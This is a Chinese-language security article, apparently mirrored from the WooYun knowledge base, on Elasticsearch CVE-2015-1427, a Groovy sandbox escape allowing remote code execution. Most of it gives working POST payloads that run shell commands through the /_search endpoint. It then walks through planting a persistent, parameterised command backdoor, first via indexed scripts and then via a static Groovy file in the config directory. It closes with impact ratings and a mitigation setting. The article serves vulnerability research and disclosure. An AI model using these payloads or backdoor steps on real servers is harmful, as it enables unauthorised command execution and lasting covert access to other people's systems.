ElasticSearch 遠端程式碼執行漏洞分析(CVE-2015-1427)&高階利用方法

wyzsk發表於2020-08-19
作者: tang3 · 2015/03/07 14:17

0x00 漏洞概述


要結合上一篇文章《ElasticSearch Groovy指令碼遠端程式碼執行漏洞分析(CVE-2015-1427)》一起來看,我第一次知道CVE-2015-1427這個漏洞是在2月13日(春節放假前一天),但是當時想著過年,而且覺得應該是Groovy自身的問題,就也沒太在意。知道前兩天蘭少(lupin)問我有沒有看這個漏洞,說他找到了繞過了沙盒的方法,才跑去看。

我跟lupin玩這個洞的思路不太一樣,而且漏洞原理在他的文章裡已經說的很清楚了,我這篇文章主要側重這個漏洞利用的各種玩法。

0x01 漏洞原理


漏洞原因很簡單,由於沙盒程式碼黑名單中的Java危險方法不全,從而導致惡意使用者仍可以使用反射的方法來執行Java程式碼。這就完了?當然不是!由於Elasticsearch開發團隊沒有完全認知Groovy的強大,以為僅僅防止使用者呼叫Java反射就可以免於被攻擊,這真是太好笑了,我們來看下Groovy對自己的描述:

enter image description here

沒錯!Groovy是一款開發語言,這意味著我們完全可以在不使用Java的前提下實現程式碼執行。如果僅僅是沙盒的問題,那麼修補黑白名單到攻擊者沒辦法繞過沙盒使用Java反射就好了,但是一種語言要怎麼靠黑白名單來限制它的絕大部分功能?所以沒有把Groovy當做一種程式語言是這問題的真正原因。

0x02 漏洞利用


漏洞利用其實也很簡單,我們只需要參照官方提供的script使用說明來執行指令碼就可以了。官方文件提供了兩個方法讓我們直接執行指令碼程式碼。

我們先來看第一種方式——直接執行指令碼,這種方式也就是目前大家都在使用的方式。使用起來也很簡單,直接向/_search這個URL提供如下POST內容:

{"script_fields": {"my_field": {"script": "def command=\"netstat -an\";def res=command.execute().text;res","lang":"groovy"}}}

效果如下圖所示:

enter image description here

官方文件除了直接執行指令碼,還提供了一種預先儲存指令碼用於以後執行的方式——指令碼索引,這種方法使用起來比較繁瑣,下面我們先來看官方提供的示例:

#!bash
//建立指令碼索引
curl -XPOST localhost:9200/_scripts/groovy/indexedCalculateScore -d '{
     "script": "log(_score * 2) + my_modifier"
}'
//使用指令碼索引,並執行指令碼索引中的程式碼
curl -XPOST localhost:9200/_search -d '{
  "query": {
    "function_score": {
      "query": {
        "match": {
          "body": "foo"
        }
      },
      "functions": [
        {
          "script_score": {
            "script_id": "indexedCalculateScore",
            "lang" : "groovy",
            "params": {
              "my_modifier": 8
            }
          }
        }
      ]
    }
  }
}'

下面我們來看實際操作,首先是建立指令碼索引:

#!js
{
     "script": "def command=\"netstat -an\";def res=command.execute().text;res"
}

然後是執行剛剛建立的指令碼索引,由於官方給的示例中不可以返回字串,所以這裡我修改了POST提交的內容。

#!js
{
    "query" : {
       "match_all":{
        }
    },
    "script_fields" : {
        "test1" : {
            "script_id" : "indexedCalculateScore",
            "lang":"groovy"
        }
    }
}

這種方法相比較直接執行指令碼多了一個儲存的步驟,但是卻不失為一種留後門的好方法。如果我們這樣建立一條指令碼索引:

#!js
{
     "script": "def res=command.execute().text;res"
}

然後這樣執行它:

#!js
{
    "query" : {
       "match_all":{
        }
    },
    "script_fields" : {
        "test1" : {
            "script_id" : "indexedCalculateScore",
            "lang":"groovy",
            "params":{
                 "command":"netstat -an"
             }
        }
    }
}

完美的一個shell命令後門就完成了,效果如下圖所示:

enter image description here

不過使用指令碼索引建立的後門有一個問題,就是需要在動態指令碼開啟的狀態下。而官方提供給我們的最後一個呼叫指令碼的方式——呼叫靜態指令碼,剛剛好可以幫助我們維持後門的永續性。

使用方法如下:在config目錄下建立一個名為scripts的目錄,把指令碼檔案放進去,然後用script_file替換上面的script_id欄位就好了。這裡做一個簡單的例子,在scripts裡放上我們剛才的的那個shell後門的程式碼,並命名為vul.groovy,然後POST如下資料進行搜尋:

#!js
{
    "script_fields": {
        "my_field": {
            "file": "vul",
            "params": {
                  "command":"netstat -an"
            }
        }
    }
}

如果你足夠仔細的話,可能會發現上面的程式碼中我使用的file而不是官方示例的script_file,因為我測試環境是1.3.5和1.4.10,而官方所提供的示例應該是針對MVEL表示式時代的靜態表示式使用方法,所以有些時候不看程式碼是無法發現真相的→_→。

0x03 思維壁壘


在和lupin一開始討論這個漏洞的時候,發現我們思考的方式完全不一樣。他在跟我說怎麼怎麼繞過沙盒,而我卻不斷的問他沙盒在哪裡?為什麼我沒有感覺到沙盒的存在?從lupin這篇文章描述的細節和下面官方對這個漏洞描述的內容以及官方對於漏洞的後期修復,再到這兩天的全民反射來看,大家明顯是都被帶到溝裡去了,把一個好好的程式碼執行漏洞玩成了命令執行漏洞。

The vulnerabilities allow an attacker to construct Groovy scripts that escape the sandbox and execute shell commands as the user running the Elasticsearch Java VM.

如果讓我用一句話來評論目前的大家使用的PoC的話,“用C的方式來利用一個PHP程式碼執行”,這句話再合適不過了。我在《一種新的攻擊方法——Java-Web-Expression-Language-Injection》中提到的JELI的這種漏洞形式(或者說攻擊方法),是由於開發者對於Java上層建築的表示式認知度不夠而導致漏洞的出現。Struts2沒有想到Ognl可以執行Java程式碼,Elasticsearch同樣沒有想到Groovy可以實現任意Java功能。

所以在這裡我覺得有必要提醒大家一下,小心思維壁壘的出現。

0x04 漏洞總結


漏洞小結

  1. 影響範圍個人評價為“高”,ElasticSearch在大資料時代得到廣泛的使用,而且此漏洞覆蓋十個左右的版本,所以影響範圍還是很廣的。

  2. 危害性個人評價為“極高”,此漏洞值需要使用預設的動態指令碼配置便可被利用,攻擊者可以利用這個漏洞getshell。

防護方案

關閉groovy沙盒以已停止動態指令碼的使用:

script.groovy.sandbox.enabled: false

官方已經在最新版本中修復此問題,最新版下載連結為: http://www.elasticsearch.org/overview/elkdownloads/

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章